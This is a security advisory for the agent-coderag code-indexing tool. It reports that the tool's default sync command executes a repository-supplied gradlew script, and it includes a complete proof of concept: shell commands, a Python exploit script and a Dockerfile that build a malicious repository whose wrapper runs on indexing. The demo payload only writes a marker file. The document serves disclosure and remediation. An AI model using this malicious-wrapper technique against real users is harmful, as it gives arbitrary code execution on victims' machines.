VDB
KO
HIGH 8.6

GHSA-wg5p-8h9p-3mr7

agent-coderag: Gradle Wrapper Execution During Dependency Discovery Enables Arbitrary Code Execution

Details

## Gradle Wrapper Execution During Dependency Discovery Enables Arbitrary Code Execution

### Summary

`agent-coderag` unconditionally executes a repository-controlled `gradlew` script during its default `sync` dependency-discovery flow. An attacker who can induce a victim to index a malicious Gradle repository (one containing `build.gradle` and a crafted `gradlew`) achieves arbitrary code execution with the victim's OS privileges. No authentication, no extra flags, and no elevated permissions are required; the attack fires on the default `agent-coderag sync <path>` invocation.

### Details

The vulnerability exists across a four-step call chain in the `sync` command:

**1. Entry point — `code_rag/entry/cli.py:70`**

```python await manager.sync_dependencies(args.path or ".") ```

`sync_dependencies()` is called unconditionally before indexing. There is no opt-in flag; any `agent-coderag sync` invocation triggers dependency discovery.

**2. Gradle project detection — `code_rag/core/manager.py:40-47`**

The presence of a `build.gradle` or `build.gradle.kts` file in the target directory is sufficient to invoke `_sync_gradle()`. No additional checks are performed.

**3. Wrapper selection — `code_rag/core/manager.py:110-113`**

```python gradle_wrapper = root / ("gradlew.bat" if os.name == "nt" else "gradlew") gradle_bin: Optional[str] = None if gradle_wrapper.exists(): gradle_bin = str(gradle_wrapper.resolve()) else: gradle_bin = shutil.which("gradle") ```

When a repository-local `gradlew` exists, it is unconditionally preferred over the system-installed `gradle`. No content validation, signature check, or integrity verification is performed on this file.

**4. Execution sink — `code_rag/core/manager.py:152-158`**

```python process = await asyncio.create_subprocess_exec( gradle_bin, "-q", "--init-script", str(init_script), "printCodeRagCP", cwd=str(root), ... ) ```

The attacker-controlled `gradlew` is executed directly via `asyncio.create_subprocess_exec()` with the repository root as the working directory. `validate_path` (`code_rag/core/utils.py:7-71`) only constrains the path location (directory boundary), not the content or nature of the executed binary.

The complete data flow: `cli.py:277` (path input) → `cli.py:313-314` (`sync_cmd`) → `cli.py:62` (`validate_path`) → `cli.py:70` (`sync_dependencies`) → `manager.py:40-47` (`_sync_gradle`) → `manager.py:110-113` (wrapper selection) → `manager.py:152-158` (execution sink).

### PoC

**Environment setup:**

```bash python3 -m venv /tmp/acr-venv . /tmp/acr-venv/bin/activate pip install agent-coderag==1.3.0

rm -rf /tmp/acr-evil /tmp/acr.db /tmp/agent-coderag-poc-marker mkdir -p /tmp/acr-evil ```

**Build the malicious repository:**

```bash # Trigger _sync_gradle() detection printf 'plugins { id "java" }\n' > /tmp/acr-evil/build.gradle

# Malicious gradlew: writes proof-of-exploitation marker and exits cleanly printf '#!/bin/sh\nprintf CODERAG_RCE_SUCCESS > /tmp/agent-coderag-poc-marker\nexit 0\n' \ > /tmp/acr-evil/gradlew chmod +x /tmp/acr-evil/gradlew ```

**Trigger the vulnerability (victim action):**

```bash agent-coderag --db /tmp/acr.db sync /tmp/acr-evil ```

**Verify exploitation:**

```bash cat /tmp/agent-coderag-poc-marker # Expected output: CODERAG_RCE_SUCCESS ```

**Docker-based reproduction (as confirmed in Phase 2):**

```bash # Build image from repository root docker build -t agent-coderag-vuln001 -f vuln-001/Dockerfile .

# Run PoC — exits 0 on successful exploitation docker run --rm agent-coderag-vuln001 ```

Phase 2 dynamic reproduction confirmed the following output:

``` [*] Evil repo created at /tmp/acr-evil-i560afcg build.gradle : 22 bytes gradlew : 275 bytes (executable=True) [*] Running: agent-coderag --db /tmp/acr-poc.db sync /tmp/acr-evil-i560afcg [*] agent-coderag exit code : 0 [PASS] Exploit confirmed. Marker file : /tmp/acr-poc-marker Contents : 'CODERAG_RCE_SUCCESS' The malicious gradlew was executed by agent-coderag during sync. ```

### Impact

This is an **Arbitrary Code Execution (ACE)** vulnerability triggered by a local attack vector. Any user who runs `agent-coderag sync` against an attacker-controlled directory is affected. The attack requires no authentication and no special privileges beyond the ability to supply a path argument.

Typical impacted scenarios include:

- A developer cloning an untrusted repository and running `agent-coderag sync` to index it for AI-assisted code analysis. - A CI/CD pipeline that automatically indexes pull-request branches containing a crafted `gradlew`. - Any tooling or script that passes arbitrary paths to `agent-coderag sync` without user oversight.

Because the vulnerable component (`agent-coderag`) is a code-indexing tool intended to *read* repositories, victims have no expectation that indexing will *execute* files within the repository. This trust-boundary violation (reflected in the CVSS `S:C` — Changed Scope) means the impact extends beyond the tool itself to the victim's entire user session environment: confidentiality (credential theft, secret exfiltration), integrity (file modification, persistence installation), and availability (process termination, disk exhaustion) are all fully compromised.

### Reproduction artifacts

#### `Dockerfile`

```dockerfile FROM python:3.11-slim

LABEL description="VULN-001 PoC: agent-coderag gradlew RCE reproduction"

WORKDIR /app

RUN apt-get update && apt-get install -y --no-install-recommends \ && rm -rf /var/lib/apt/lists/*

# Install agent-coderag from local repo source (pinned to vulnerable commit) COPY repo/ /app/repo/ RUN pip install --no-cache-dir /app/repo/

# Copy PoC script COPY vuln-001/poc.py /app/poc.py

CMD ["python3", "/app/poc.py"] ```

#### `poc.py`

```python """ PoC for VULN-001: agent-coderag Gradle Wrapper Execution → Arbitrary Code Execution

Vulnerability: agent-coderag `sync` command calls sync_dependencies() unconditionally. When the target directory contains a build.gradle file, _sync_gradle() is triggered. _sync_gradle() prefers a repository-local ./gradlew over the system gradle binary. The repository-controlled gradlew is executed via asyncio.create_subprocess_exec() without any content validation, enabling arbitrary code execution.

Data flow (source → sink): cli.py:70 → manager.sync_dependencies() manager.py:46 → _sync_gradle() manager.py:112-113 → gradle_bin = str(gradle_wrapper.resolve()) [untrusted file] manager.py:152-158 → asyncio.create_subprocess_exec(gradle_bin, ...) [sink]

Expected outcome: The malicious gradlew writes a marker to /tmp/acr-poc-marker. If that file contains "CODERAG_RCE_SUCCESS", the exploit is confirmed. """

import asyncio import os import shutil import stat import subprocess import sys import tempfile from pathlib import Path

MARKER_PATH = "/tmp/acr-poc-marker" DB_PATH = "/tmp/acr-poc.db"

MALICIOUS_GRADLEW = """\ #!/bin/sh # Malicious gradlew: writes a proof-of-exploitation marker and simulates # enough Gradle output for agent-coderag to continue without error. printf 'CODERAG_RCE_SUCCESS' > /tmp/acr-poc-marker # Output a fake empty classpath so the tool does not log an error exit 0 """

BUILD_GRADLE = "plugins { id 'java' }\n"

def setup_evil_repo(directory: str) -> None: """Create a minimal attacker-controlled Gradle repository.""" repo_path = Path(directory) repo_path.mkdir(parents=True, exist_ok=True)

# build.gradle triggers _sync_gradle() in manager.py:46 (repo_path / "build.gradle").write_text(BUILD_GRADLE)

# gradlew will be executed by manager.py:152 instead of system gradle gradlew = repo_path / "gradlew" gradlew.write_text(MALICIOUS_GRADLEW) gradlew.chmod(gradlew.stat().st_mode | stat.S_IEXEC | stat.S_IXGRP | stat.S_IXOTH)

print(f"[*] Evil repo created at {directory}") print(f" build.gradle : {(repo_path / 'build.gradle').stat().st_size} bytes") print(f" gradlew : {gradlew.stat().st_size} bytes (executable={os.access(gradlew, os.X_OK)})")

def run_agent_coderag(evil_repo: str) -> subprocess.CompletedProcess: """Invoke agent-coderag sync against the malicious repository.""" cmd = ["agent-coderag", "--db", DB_PATH, "sync", evil_repo] print(f"[*] Running: {' '.join(cmd)}") result = subprocess.run(cmd, capture_output=True, text=True, timeout=60) return result

def check_marker() -> str | None: """Return the marker content if it was written by the malicious gradlew.""" try: return Path(MARKER_PATH).read_text() except FileNotFoundError: return None

def main() -> int: # Clean up any leftovers from a previous run for path in (MARKER_PATH, DB_PATH): if os.path.exists(path): os.remove(path)

evil_repo = tempfile.mkdtemp(prefix="acr-evil-") try: # Step 1 — build the attacker-controlled repository setup_evil_repo(evil_repo)

# Step 2 — invoke agent-coderag (victim action: indexing an untrusted repo) result = run_agent_coderag(evil_repo) print(f"[*] agent-coderag exit code : {result.returncode}") if result.stdout: print(f"[*] stdout:\n{result.stdout.rstrip()}") if result.stderr: print(f"[*] stderr:\n{result.stderr.rstrip()}")

# Step 3 — verify the marker was written by the malicious gradlew marker_content = check_marker() if marker_content and "CODERAG_RCE_SUCCESS" in marker_content: print("\n[PASS] Exploit confirmed.") print(f" Marker file : {MARKER_PATH}") print(f" Contents : {marker_content!r}") print(" The malicious gradlew was executed by agent-coderag during sync.") return 0 else: print("\n[FAIL] Marker file not found or does not contain the expected string.") print(f" Expected : 'CODERAG_RCE_SUCCESS'") print(f" Got : {marker_content!r}") return 1 finally: shutil.rmtree(evil_repo, ignore_errors=True)

if __name__ == "__main__": sys.exit(main()) ```

Are you affected?

Enter the version of the package you're using.

Affected packages

PyPI / agent-coderag
Introduced in: 0 Fixed in: 1.3.1
Fix pip install --upgrade 'agent-coderag>=1.3.1'

References